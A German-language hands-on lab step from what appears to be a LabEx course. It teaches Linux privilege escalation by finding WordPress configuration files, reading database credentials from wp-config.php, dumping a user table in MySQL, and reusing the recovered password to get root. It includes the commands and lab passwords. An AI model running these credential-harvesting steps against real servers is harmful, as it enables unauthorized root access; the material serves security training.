Web-Service-Konfigurationsdateien können sensible Informationen wie Datenbankzugangsdaten enthalten, die für eine Rechteerhöhung genutzt werden können, wenn der Administrator Passwörter wiederverwendet hat.
-
Öffnen Sie zunächst ein Terminal und navigieren Sie zum Verzeichnis /home/labex/project
.
cd /home/labex/project
Beginnen wir mit der Initialisierung der Lab-Umgebung:
./env_setup_1.sh
Nach der Initialisierung arbeiten wir nun als Benutzer www-data
, was einem Shell-Zugang mit niedrigen Rechten entspricht, der über eine Web-Schwachstelle erlangt wurde.
-
Web-Services auf Linux werden typischerweise im Verzeichnis /var/www
gespeichert. Wir sollten uns auf die folgenden Dateien konzentrieren:
database.php
user.php
*.config
config.php
Wir können diese Dateien mit dem folgenden Befehl suchen:
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/null
Erwartete Ausgabe:
/var/www/wordpress/wp-admin/includes/user.php
/var/www/wordpress/wp-includes/user.php
/var/www/wordpress/wp-content/plugins/akismet/views/config.php
Zusätzlich können wir, wenn das Zielsystem ein Content Management System (CMS) verwendet, nach dem Standard-Speicherort der Datenbankverbindungsdatei für dieses spezifische CMS suchen.
-
In dieser Lab-Umgebung verwendet der Server das WordPress-CMS. Durch die Suche stellen wir fest, dass die WordPress-Datenbankkonfiguration in der Datei /var/www/wordpress/wp-config.php
gespeichert ist:
more /var/www/wordpress/wp-config.php
Diese Datei enthält die Zugangsdaten für das MySQL-Root-Konto:
/** MySQL database username */
define( 'DB_USER', 'root' );
/** MySQL database password */
define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );
-
Angesichts der Möglichkeit, dass der Administrator Passwörter wiederverwendet hat, können wir versuchen, uns mit diesem Passwort als System-Root-Benutzer anzumelden:
su -
Leider funktioniert dieses Passwort nicht für den Root-Benutzer.
-
Als Nächstes können wir uns bei der MySQL-Datenbank anmelden und nach weiteren Informationen suchen:
mysql -u root -p -h 127.0.0.1
Geben Sie das Passwort aus der Datei wp-config.php
ein:
cD8M2M8fMiDHu4m1
Innerhalb der MySQL-Datenbank können wir die folgenden Befehle ausführen, um weitere Informationen zu sammeln:
Prüfen Sie die verfügbaren Datenbanken:
show databases;
Wählen Sie die Datenbank ROB
aus:
use ROB;
Auflisten der Tabellen in der Datenbank ROB
:
show tables;
Wählen Sie die Tabelle rob_user
aus:
select * from rob_user;
Aus der Datenbank erhalten wir zwei weitere Sets von Zugangsdaten:
root:CMPc5MoAGf
alice:psoj9apv4u
Beenden Sie die MySQL-Datenbank:
exit
-
Wir können versuchen, uns als Root-Benutzer mit dem Passwort CMPc5MoAGf
anzumelden:
su -
Geben Sie das Passwort ein, das wir aus der Datenbank erhalten haben:
CMPc5MoAGf
Diesmal gelingt es uns, Root-Zugang zu erhalten!
-
Erstellen Sie eine Datei namens proof.txt
im Verzeichnis /root
, um die erfolgreiche Rechteerhöhung zu demonstrieren:
echo "Success" > /root/proof.txt
Überprüfen Sie, ob die Datei erstellt wurde:
ls /root/proof.txt
In diesem Schritt haben wir gelernt, wie man sensible Informationen in Web-Service-Konfigurationsdateien findet und ausnutzt, um Rechte zu erhöhen. Die Kernidee besteht darin, Authentifizierungsdaten auf dem Server zu suchen und die potenzielle Passwortwiederverwendung für die Rechteerhöhung zu nutzen.